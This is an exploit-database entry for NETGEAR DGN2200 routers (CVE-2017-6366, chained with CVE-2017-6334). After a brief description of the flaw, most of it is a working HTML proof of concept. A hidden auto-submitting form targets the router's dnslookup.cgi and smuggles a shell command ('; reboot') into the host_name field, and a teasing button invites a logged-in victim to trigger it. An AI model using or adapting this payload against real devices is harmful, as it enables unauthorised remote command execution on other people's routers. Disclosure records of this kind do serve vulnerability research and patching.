Exploit Code
# Exploit Title: NETGEAR Firmware DGN2200v1/v2/v3/v4 CSRF which leads to RCE through CVE-2017-6334 # Date: 2017-02-28 # Exploit Author: SivertPL # Vendor Homepage: http://netgear.com/ # Software Link: http://www.downloads.netgear.com/files/GDC/DGN2200/DGN2200%20Firmware%20Version%201.0.0.20%20-%20Initial%20Release%20(NA).zip # Version: 10.0.0.20 (initial) - 10.0.0.50 (latest, still 0-day!) # Tested on: DGN2200v1,v2,v3,v4 # CVE: CVE-2017-6366 A quite dangerous CSRF was discovered on all DGN2200 firmwares. When chained with either CVE-2017-6077 or CVE-2017-6334, allows for unauthenticated (sic!) RCE after tricking somebody logged in to the router to view a website. <!DOCTYPE html> <html> <title>netgear router CSRF</title> <body> <form method="POST" action="http://192.168.0.1/dnslookup.cgi"> <input type="hidden" name="host_name" value="www.google.com; reboot"> <!-- CVE-2017-6334 payload --> <input type="hidden" name="lookup" value="Lookup"> <button name="clc" value="clc">Would You Dare To?</button> </form> </body> </html> <!-- 2017-02-27 by SivertPL -->